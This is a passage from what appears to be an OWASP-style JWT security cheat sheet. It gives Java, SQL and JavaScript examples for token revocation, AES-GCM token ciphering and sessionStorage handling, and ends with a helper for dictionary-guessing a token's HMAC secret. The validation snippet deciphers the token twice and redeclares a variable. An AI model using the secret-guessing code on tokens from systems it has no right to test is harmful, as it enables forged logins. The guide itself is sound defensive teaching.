The blacklist will keep a digest (SHA-256 encoded in HEX) of the token with a revokation date, this, for a duration that must be superior to the duration validity of a issued token.&lt;br /&gt;
&lt;br /&gt;
When the user want to &amp;quot;logout&amp;quot; then it call a dedicated service that will add the provided user token to the blacklist resulting in a immediate invalidation of the token for further usage in the application.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
==== Blacklist storage ====&lt;br /&gt;
&lt;br /&gt;
A database table with the following structure will used as central blacklist storage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
create table if not exists revoked_token(jwt_token_digest varchar(255) primary key, revokation_date timestamp default now());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Token revocation management ====&lt;br /&gt;
&lt;br /&gt;
Code in charge of adding a token to the blacklist and check if a token is revoked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
* Handle the revokation of the token (logout).&lt;br /&gt;
* Use a DB in order to allow multiple instances to check for revoked token and allow cleanup at centralized DB level.&lt;br /&gt;
*/&lt;br /&gt;
public class TokenRevoker {&lt;br /&gt;
&lt;br /&gt;
 /** DB Connection */&lt;br /&gt;
 @Resource(&amp;quot;jdbc/storeDS&amp;quot;)&lt;br /&gt;
 private DataSource storeDS;&lt;br /&gt;
&lt;br /&gt;
 /**&lt;br /&gt;
  * Verify if a digest encoded in HEX of the ciphered token is present in the revokation table&lt;br /&gt;
  *&lt;br /&gt;
  * @param jwtInHex Token encoded in HEX&lt;br /&gt;
  * @return Presence flag&lt;br /&gt;
  * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
  */&lt;br /&gt;
 public boolean isTokenRevoked(String jwtInHex) throws Exception {&lt;br /&gt;
     boolean tokenIsPresent = false;&lt;br /&gt;
     if (jwtInHex != null &amp;amp;&amp;amp; !jwtInHex.trim().isEmpty()) {&lt;br /&gt;
         //Decode the ciphered token&lt;br /&gt;
         byte[] cipheredToken = DatatypeConverter.parseHexBinary(jwtInHex);&lt;br /&gt;
&lt;br /&gt;
         //Compute a SHA256 of the ciphered token&lt;br /&gt;
         MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
         byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
         String jwtTokenDigestInHex = DatatypeConverter.printHexBinary(cipheredTokenDigest);&lt;br /&gt;
&lt;br /&gt;
         //Search token digest in HEX in DB&lt;br /&gt;
         try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
             String query = &amp;quot;select jwt_token_digest from revoked_token where jwt_token_digest = ?&amp;quot;;&lt;br /&gt;
             try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
                 pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
                 try (ResultSet rSet = pStatement.executeQuery()) {&lt;br /&gt;
                     tokenIsPresent = rSet.next();&lt;br /&gt;
                 }&lt;br /&gt;
             }&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
     return tokenIsPresent;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 /**&lt;br /&gt;
  * Add a digest encoded in HEX of the ciphered token to the revokation token table&lt;br /&gt;
  *&lt;br /&gt;
  * @param jwtInHex Token encoded in HEX&lt;br /&gt;
  * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
  */&lt;br /&gt;
 public void revokeToken(String jwtInHex) throws Exception {&lt;br /&gt;
     if (jwtInHex != null &amp;amp;&amp;amp; !jwtInHex.trim().isEmpty()) {&lt;br /&gt;
         //Decode the ciphered token&lt;br /&gt;
         byte[] cipheredToken = DatatypeConverter.parseHexBinary(jwtInHex);&lt;br /&gt;
&lt;br /&gt;
         //Compute a SHA256 of the ciphered token&lt;br /&gt;
         MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
         byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
         String jwtTokenDigestInHex = DatatypeConverter.printHexBinary(cipheredTokenDigest);&lt;br /&gt;
&lt;br /&gt;
         //Check if the token digest in HEX is already in the DB and add it if it is absent&lt;br /&gt;
         if (!this.isTokenRevoked(jwtInHex)) {&lt;br /&gt;
             try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
                 String query = &amp;quot;insert into revoked_token(jwt_token_digest) values(?)&amp;quot;;&lt;br /&gt;
                 int insertedRecordCount;&lt;br /&gt;
                 try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
                     pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
                     insertedRecordCount = pStatement.executeUpdate();&lt;br /&gt;
                 }&lt;br /&gt;
                 if (insertedRecordCount != 1) {&lt;br /&gt;
                     throw new IllegalStateException(&amp;quot;Number of inserted record is invalid, 1 expected but is &amp;quot; + insertedRecordCount);&lt;br /&gt;
                 }&lt;br /&gt;
             }&lt;br /&gt;
         }&lt;br /&gt;
&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Token information disclosure ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This attack occur when a attacker access to a token (or a set of tokens) and extract information stored into it (JWT token information are base64 encoded at the basis) in order to obtains information about the system. Information can be for example the security roles, login format...&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
A way to protect, is to cipher the token using for example a symetric algorithm.&lt;br /&gt;
&lt;br /&gt;
It's also important to protect the ciphered data against attack like [[Testing_for_Padding_Oracle_(OTG-CRYPST-002)|Padding Oracle]] or any other attack using cryptanalysis.&lt;br /&gt;
&lt;br /&gt;
In order to achieve all these goals, the algorithm ''AES-GCM'' can be used in conjunction with ''Additional Authentication Data (AAD)'' feature.&lt;br /&gt;
&lt;br /&gt;
A database can be used to store the ''NONCE'' and the ''AAD'' associated to a token.&lt;br /&gt;
&lt;br /&gt;
'''Note:'''&lt;br /&gt;
&lt;br /&gt;
Here ciphering is added mainly to hide internal information but it's very important to remember that the first protection against tampering of the JWT token is the signature so, the token signature and is verification must be always in place.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
==== Token ciphering ====&lt;br /&gt;
&lt;br /&gt;
Database structure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
create table if not exists nonce(jwt_token_digest varchar(255) primary key, gcm_nonce varchar(255) not null unique, gcm_aad varchar(255) not null unique);&lt;br /&gt;
create index if not exists idx_nonce on nonce(gcm_nonce);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code in charge of managing the ciphering.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
* Handle ciphering and deciphering of the token using AES-GCM.&lt;br /&gt;
* Use a DB in order to link a GCM NONCE to a ciphered message and ensure that a NONCE is never reused&lt;br /&gt;
* and also allow use of several application nodes in load balancing.&lt;br /&gt;
*/&lt;br /&gt;
public class TokenCipher {&lt;br /&gt;
&lt;br /&gt;
   /** AES-GCM parameters */&lt;br /&gt;
   private static final int GCM_NONCE_LENGTH = 12; // in bytes&lt;br /&gt;
&lt;br /&gt;
   /** AES-GCM parameters */&lt;br /&gt;
   private static final int GCM_TAG_LENGTH = 16; // in bytes&lt;br /&gt;
&lt;br /&gt;
   /**Secure random generator */&lt;br /&gt;
   private final SecureRandom secRandom = new SecureRandom();&lt;br /&gt;
&lt;br /&gt;
   /** DB Connection */&lt;br /&gt;
   @Resource(&amp;quot;jdbc/storeDS&amp;quot;)&lt;br /&gt;
   private DataSource storeDS;&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Cipher a JWT&lt;br /&gt;
    * @param jwt Token to cipher&lt;br /&gt;
    * @param key Ciphering key&lt;br /&gt;
    * @return The ciphered version of the token encoded in HEX&lt;br /&gt;
    * @throws Exception If any issue occur during token ciphering operation&lt;br /&gt;
    */&lt;br /&gt;
   public String cipherToken(String jwt, byte[] key) throws Exception {&lt;br /&gt;
       //Verify parameters&lt;br /&gt;
       if(jwt == null || jwt.isEmpty() || key == null || key.length == 0){&lt;br /&gt;
           throw new IllegalArgumentException(&amp;quot;Both parameters must be specified !&amp;quot;);&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
       //Generate a NONCE&lt;br /&gt;
       //NOTE: As in the DB, the column to store the NONCE is flagged UNIQUE then the insert will fail&lt;br /&gt;
       //if the NONCE already exists, normally as we use the Java Secure Random implementation&lt;br /&gt;
       //it will never happen.&lt;br /&gt;
       final byte[] nonce = new byte[GCM_NONCE_LENGTH];&lt;br /&gt;
       secRandom.nextBytes(nonce);&lt;br /&gt;
&lt;br /&gt;
       //Prepare ciphering key from bytes provided&lt;br /&gt;
       SecretKey aesKey = new SecretKeySpec(key, 0, key.length, &amp;quot;AES&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
       //Setup Cipher&lt;br /&gt;
       Cipher cipher = Cipher.getInstance(&amp;quot;AES/GCM/NoPadding&amp;quot;, &amp;quot;SunJCE&amp;quot;);&lt;br /&gt;
       GCMParameterSpec spec = new GCMParameterSpec(GCM_TAG_LENGTH * 8, nonce);&lt;br /&gt;
       cipher.init(Cipher.ENCRYPT_MODE, aesKey, spec);&lt;br /&gt;
&lt;br /&gt;
       //Add &amp;quot;Additional Authentication Data&amp;quot; (AAD) in order to operate in AEAD mode - Generate it&lt;br /&gt;
       byte[] aad = new byte[32];&lt;br /&gt;
       secRandom.nextBytes(aad);&lt;br /&gt;
       cipher.updateAAD(aad);&lt;br /&gt;
&lt;br /&gt;
       //Cipher the token&lt;br /&gt;
       byte[] cipheredToken = cipher.doFinal(jwt.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
       //Compute a SHA256 of the ciphered token&lt;br /&gt;
       MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
       byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
&lt;br /&gt;
       //Store GCM NONCE and GCM AAD&lt;br /&gt;
       this.storeNonceAndAAD(DatatypeConverter.printHexBinary(nonce), DatatypeConverter.printHexBinary(aad),&lt;br /&gt;
       DatatypeConverter.printHexBinary(cipheredTokenDigest));&lt;br /&gt;
&lt;br /&gt;
       return DatatypeConverter.printHexBinary(cipheredToken);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Decipher a JWT&lt;br /&gt;
    * @param jwtInHex Token to decipher encoded in HEX&lt;br /&gt;
    * @param key Ciphering key&lt;br /&gt;
    * @return The token in clear text&lt;br /&gt;
    * @throws Exception If any issue occur during token deciphering operation&lt;br /&gt;
    */&lt;br /&gt;
   public String decipherToken(String jwtInHex, byte[] key) throws Exception{&lt;br /&gt;
       //Verify parameters&lt;br /&gt;
       if(jwtInHex == null || jwtInHex.isEmpty() || key == null || key.length == 0){&lt;br /&gt;
           throw new IllegalArgumentException(&amp;quot;Both parameters must be specified !&amp;quot;);&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
       //Decode the ciphered token&lt;br /&gt;
       byte[] cipheredToken = DatatypeConverter.parseHexBinary(jwtInHex);&lt;br /&gt;
&lt;br /&gt;
       //Compute a SHA256 of the ciphered token&lt;br /&gt;
       MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
       byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
&lt;br /&gt;
       //Read the GCM NONCE and GCM AAD associated from the DB&lt;br /&gt;
       Map&amp;lt;String,String&amp;gt; gcmInfos = this.readNonceAndAAD(DatatypeConverter.printHexBinary(cipheredTokenDigest));&lt;br /&gt;
       if(gcmInfos == null){&lt;br /&gt;
           throw new Exception(&amp;quot;Cannot found a NONCE and AAD associated to the token provided !&amp;quot;);&lt;br /&gt;
       }&lt;br /&gt;
       byte[] nonce = DatatypeConverter.parseHexBinary(gcmInfos.get(&amp;quot;NONCE&amp;quot;));&lt;br /&gt;
       byte[] aad = DatatypeConverter.parseHexBinary(gcmInfos.get(&amp;quot;AAD&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
       //Prepare ciphering key from bytes provided&lt;br /&gt;
       SecretKey aesKey = new SecretKeySpec(key, 0, key.length, &amp;quot;AES&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
       //Setup Cipher&lt;br /&gt;
       Cipher cipher = Cipher.getInstance(&amp;quot;AES/GCM/NoPadding&amp;quot;, &amp;quot;SunJCE&amp;quot;);&lt;br /&gt;
       GCMParameterSpec spec = new GCMParameterSpec(GCM_TAG_LENGTH * 8, nonce);&lt;br /&gt;
       cipher.init(Cipher.DECRYPT_MODE, aesKey, spec);&lt;br /&gt;
&lt;br /&gt;
       //Add &amp;quot;Additional Authentication Data&amp;quot; (AAD) in order to operate in AEAD mode&lt;br /&gt;
       cipher.updateAAD(aad);&lt;br /&gt;
&lt;br /&gt;
       //Decipher the token&lt;br /&gt;
       byte[] decipheredToken = cipher.doFinal(cipheredToken);&lt;br /&gt;
&lt;br /&gt;
       return new String(decipheredToken);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Store GCM NONCE and GCM AAD in the DB&lt;br /&gt;
    * @param nonceInHex Nonce encoded in HEX&lt;br /&gt;
    * @param aadInHex AAD encoded in HEX&lt;br /&gt;
    * @param jwtTokenDigestInHex SHA256 of the JWT ciphered token encoded in HEX&lt;br /&gt;
    * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
    */&lt;br /&gt;
   private void storeNonceAndAAD(String nonceInHex, String aadInHex, String jwtTokenDigestInHex) throws Exception {&lt;br /&gt;
       try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
           String query = &amp;quot;insert into nonce(jwt_token_digest, gcm_nonce, gcm_aad) values(?, ?, ?)&amp;quot;;&lt;br /&gt;
           int insertedRecordCount;&lt;br /&gt;
           try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
               pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
               pStatement.setString(2, nonceInHex);&lt;br /&gt;
               pStatement.setString(3, aadInHex);&lt;br /&gt;
               insertedRecordCount = pStatement.executeUpdate();&lt;br /&gt;
           }&lt;br /&gt;
           if (insertedRecordCount != 1) {&lt;br /&gt;
               throw new IllegalStateException(&amp;quot;Number of inserted record is invalid, 1 expected but is &amp;quot; + insertedRecordCount);&lt;br /&gt;
           }&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Read GCM NONCE and GCM AAD from the DB&lt;br /&gt;
    * @param jwtTokenDigestInHex SHA256 of the JWT ciphered token encoded in HEX for which we must read the NONCE and AAD&lt;br /&gt;
    * @return A dict containing the NONCE and AAD if they exists for the specified token&lt;br /&gt;
    * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
    */&lt;br /&gt;
   private  Map&amp;lt;String,String&amp;gt; readNonceAndAAD(String jwtTokenDigestInHex) throws Exception{&lt;br /&gt;
       Map&amp;lt;String,String&amp;gt; gcmInfos = null;&lt;br /&gt;
       try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
           String query = &amp;quot;select gcm_nonce, gcm_aad from nonce where jwt_token_digest = ?&amp;quot;;&lt;br /&gt;
           try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
               pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
               try (ResultSet rSet = pStatement.executeQuery()) {&lt;br /&gt;
                   while (rSet.next()) {&lt;br /&gt;
                       gcmInfos = new HashMap&amp;lt;&amp;gt;(2);&lt;br /&gt;
                       gcmInfos.put(&amp;quot;NONCE&amp;quot;, rSet.getString(1));&lt;br /&gt;
                       gcmInfos.put(&amp;quot;AAD&amp;quot;, rSet.getString(2));&lt;br /&gt;
                   }&lt;br /&gt;
               }&lt;br /&gt;
           }&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
       return gcmInfos;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Creation / Validation of the token ====&lt;br /&gt;
&lt;br /&gt;
Use of the token ciphering during the creation and the validation of the token.&lt;br /&gt;
&lt;br /&gt;
Load keys and setup cipher.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
//Load keys from configuration text files in order to avoid to store keys as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = Files.readAllBytes(Paths.get(&amp;quot;key-hmac.txt&amp;quot;));&lt;br /&gt;
private transient byte[] keyCiphering = Files.readAllBytes(Paths.get(&amp;quot;key-ciphering.txt&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
//Load issuer ID from configuration text file&lt;br /&gt;
private transient String issuerID = Files.readAllLines(Paths.get(&amp;quot;issuer-id.txt&amp;quot;)).get(0);&lt;br /&gt;
&lt;br /&gt;
//Init token ciphering handler&lt;br /&gt;
TokenCipher tokenCipher = new TokenCipher();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Token creation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
 //Generate a random string that will constitute the fingerprint for this user&lt;br /&gt;
 byte[] randomFgp = new byte[50];&lt;br /&gt;
 this.secureRandom.nextBytes(randomFgp);&lt;br /&gt;
 String userFingerprint = DatatypeConverter.printHexBinary(randomFgp);&lt;br /&gt;
&lt;br /&gt;
 //Add the fingerprint in a hardened cookie - Add cookie manually because SameSite attribute is not supported by javax.servlet.http.Cookie class&lt;br /&gt;
 String fingerprintCookie = &amp;quot;__Secure-Fgp=&amp;quot; + userFingerprint + &amp;quot;; SameSite=Strict; HttpOnly; Secure&amp;quot;;&lt;br /&gt;
 response.addHeader(&amp;quot;Set-Cookie&amp;quot;, fingerprintCookie);&lt;br /&gt;
&lt;br /&gt;
 //Compute a SHA256 hash of the fingerprint in order to store the fingerprint hash (instead of the raw value) in the token&lt;br /&gt;
 //to prevent an XSS to be able to read the fingerprint and set the expected cookie itself&lt;br /&gt;
 MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
 byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
 String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
 //Create the token with a validity of 15 minutes and client context (fingerprint) information&lt;br /&gt;
 Calendar c = Calendar.getInstance();&lt;br /&gt;
 Date now = c.getTime();&lt;br /&gt;
 c.add(Calendar.MINUTE, 15);&lt;br /&gt;
 Date expirationDate = c.getTime();&lt;br /&gt;
 Map&amp;lt;String, Object&amp;gt; headerClaims = new HashMap&amp;lt;&amp;gt;();&lt;br /&gt;
 headerClaims.put(&amp;quot;typ&amp;quot;, &amp;quot;JWT&amp;quot;);&lt;br /&gt;
 String token = JWT.create().withSubject(login)&lt;br /&gt;
     .withExpiresAt(expirationDate)&lt;br /&gt;
     .withIssuer(this.issuerID)&lt;br /&gt;
     .withIssuedAt(now)&lt;br /&gt;
     .withNotBefore(now)&lt;br /&gt;
     .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
     .withHeader(headerClaims)&lt;br /&gt;
     .sign(Algorithm.HMAC256(this.keyHMAC));&lt;br /&gt;
//Cipher the token&lt;br /&gt;
String cipheredToken = tokenCipher.cipherToken(token, keyCiphering);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Token validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
//Decipher the token&lt;br /&gt;
String token = tokenCipher.decipherToken(cipheredToken, keyCiphering);&lt;br /&gt;
&lt;br /&gt;
//Retrieve the user fingerprint from the dedicated cookie&lt;br /&gt;
String userFingerprint = null;&lt;br /&gt;
if (request.getCookies() != null &amp;amp;&amp;amp; request.getCookies().length &amp;gt; 0) {&lt;br /&gt;
 List&amp;lt;Cookie&amp;gt; cookies = Arrays.stream(request.getCookies()).collect(Collectors.toList());&lt;br /&gt;
 Optional&amp;lt;Cookie&amp;gt; cookie = cookies.stream().filter(c -&amp;gt; &amp;quot;__Secure-Fgp&amp;quot;.equals(c.getName())).findFirst();&lt;br /&gt;
 if (cookie.isPresent()) {&lt;br /&gt;
   userFingerprint = cookie.get().getValue();&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//Compute a SHA256 hash of the received fingerprint in cookie in order to compare it to the fingerprint hash stored in the token&lt;br /&gt;
MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
//Decipher the token&lt;br /&gt;
String token = this.tokenCipher.decipherToken(cipheredToken, this.keyCiphering);&lt;br /&gt;
//Create a verification context for the token&lt;br /&gt;
JWTVerifier verifier = JWT.require(Algorithm.HMAC256(this.keyHMAC))&lt;br /&gt;
   .withIssuer(this.issuerID)&lt;br /&gt;
   .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
   .build();&lt;br /&gt;
&lt;br /&gt;
//Verify the token, if the verification fail then a exception is throwed&lt;br /&gt;
DecodedJWT decodedToken = verifier.verify(token);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Token storage on client side ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
It's occur when a application store the token in a way allowing this one to be:&lt;br /&gt;
&lt;br /&gt;
* Automatically sent by the browser (''Cookie'' storage).&lt;br /&gt;
* Retrieved even if the browser is restarted (Use of browser ''localStorage'' container).&lt;br /&gt;
* Retrieved in case of [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|XSS]] issue (Cookie accessible to JavaScript code or Token stored in browser local/session storage). &lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
# Store the token using the browser ''sessionStorage'' container.&lt;br /&gt;
# Add it as a ''Bearer'' with JavaScript when calling services.&lt;br /&gt;
# Add [[#Token sidejacking|fingerprint]] information to the token.&lt;br /&gt;
&lt;br /&gt;
By storing the token in browser ''sessionStorage'' container it expose the token to be steal in case of XSS issue. However, fingerprint added to the token prevent reuse of the stolen token by the attacker on his machine. To close a maximum of exploitation surfaces for an attacker, add a browser [[OWASP_Secure_Headers_Project#csp|Content Security Policy]] to harden the execution context.&lt;br /&gt;
&lt;br /&gt;
''Note:''&lt;br /&gt;
&lt;br /&gt;
* The remaining case is when a attacker use the user browsing context as a proxy to use the target application through the legitimate user but the Content Security Policy can prevent communication with non expected domains.&lt;br /&gt;
* It's also possible to implements the authentication service in a way that the token is issued within a hardened cookie, but in this case, a protection against [[Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet|Cross-Site Request Forgery]] attack must be implemented.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
JavaScript code to store the token after authentication.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
 /* Handle request for JWT token and local storage*/&lt;br /&gt;
 function getToken(){&lt;br /&gt;
     var login = $(&amp;quot;#login&amp;quot;).val();&lt;br /&gt;
     var postData = &amp;quot;login=&amp;quot; + encodeURIComponent(login) + &amp;quot;&amp;amp;password=test&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
     $.post(&amp;quot;/services/authenticate&amp;quot;, postData,function (data){&lt;br /&gt;
         if(data.status == &amp;quot;Authentication successful !&amp;quot;){&lt;br /&gt;
             ...&lt;br /&gt;
             sessionStorage.setItem(&amp;quot;token&amp;quot;, data.token);&lt;br /&gt;
         }else{&lt;br /&gt;
             ...&lt;br /&gt;
             sessionStorage.removeItem(&amp;quot;token&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
     })&lt;br /&gt;
     .fail(function(jqXHR, textStatus, error){&lt;br /&gt;
             ...&lt;br /&gt;
         sessionStorage.removeItem(&amp;quot;token&amp;quot;);&lt;br /&gt;
     });&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
JavaScript code to add the token as ''Bearer'' when calling a service, for example a service to validate token here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
 /* Handle request for JWT token validation */&lt;br /&gt;
 function validateToken(){&lt;br /&gt;
     var token = sessionStorage.getItem(&amp;quot;token&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
     if(token == undefined || token == &amp;quot;&amp;quot;){&lt;br /&gt;
         $(&amp;quot;#infoZone&amp;quot;).removeClass();&lt;br /&gt;
         $(&amp;quot;#infoZone&amp;quot;).addClass(&amp;quot;alert alert-warning&amp;quot;);&lt;br /&gt;
         $(&amp;quot;#infoZone&amp;quot;).text(&amp;quot;Obtain a JWT token first :)&amp;quot;);&lt;br /&gt;
         return;&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
     $.ajax({&lt;br /&gt;
         url: &amp;quot;/services/validate&amp;quot;,&lt;br /&gt;
         type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
         beforeSend: function(xhr) {&lt;br /&gt;
             xhr.setRequestHeader(&amp;quot;Authorization&amp;quot;, &amp;quot;bearer &amp;quot; + token);&lt;br /&gt;
         },&lt;br /&gt;
         success: function(data) {&lt;br /&gt;
           ...&lt;br /&gt;
         },&lt;br /&gt;
         error: function(jqXHR, textStatus, error) {&lt;br /&gt;
           ...&lt;br /&gt;
         },&lt;br /&gt;
     });&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Token weak secret ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
It's occur when the secret used in case of HMAC SHA256 algorithm used for the token signature is weak and can be bruteforced.&lt;br /&gt;
&lt;br /&gt;
The result is the capacity for an attacker to forge arbitrary valid token from a signature point of view.&lt;br /&gt;
&lt;br /&gt;
See [https://www.notsosecure.com/crafting-way-json-web-tokens/ here] for an example.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
Use a very strong secret: Alphanumeric (mixed case) + special characters.&lt;br /&gt;
&lt;br /&gt;
As it's a computer processing only, the size of the secret can be superior to 50 positions.&lt;br /&gt;
&lt;br /&gt;
Secret example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;A&amp;amp;'/}Z57M(2hNg=;LE?~]YtRMS5(yZ&amp;lt;vcZTA3N-($&amp;gt;2j:ZeX-BGftaVk`)jKP~q?,jk)EMbgt*kW'(&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To evaluate the strength of the secret used for your token signature, you can apply a password dictionary attack on the token combined with the JWT API to facilitate the implementation of a breaker.&lt;br /&gt;
&lt;br /&gt;
Password dictionaries can be found for example [https://wiki.skullsecurity.org/Passwords here].&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
Code in charge of testing a secret against a JWT token test base.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
 /**&lt;br /&gt;
 * Test if a secret match the secret used to sign the token&lt;br /&gt;
 *&lt;br /&gt;
 * @param token Source JWT token (test base)&lt;br /&gt;
 * @param secret Secret to test&lt;br /&gt;
 * @return The token decoded if the secret matche otherwise return null&lt;br /&gt;
 */&lt;br /&gt;
private DecodedJWT checkSecret(String token, String secret) {&lt;br /&gt;
     DecodedJWT t = null;&lt;br /&gt;
     try {&lt;br /&gt;
         Algorithm algorithm = Algorithm.HMAC256(secret);&lt;br /&gt;
         JWTVerifier verifier = JWT.require(algorithm).build();&lt;br /&gt;
         t = verifier.verify(token);&lt;br /&gt;
     } catch (JWTVerificationException | UnsupportedEncodingException e) {&lt;br /&gt;
         //ignore...&lt;br /&gt;
     }&lt;br /&gt;
     return t;&lt;br /&gt;
 }&lt;br /&gt;
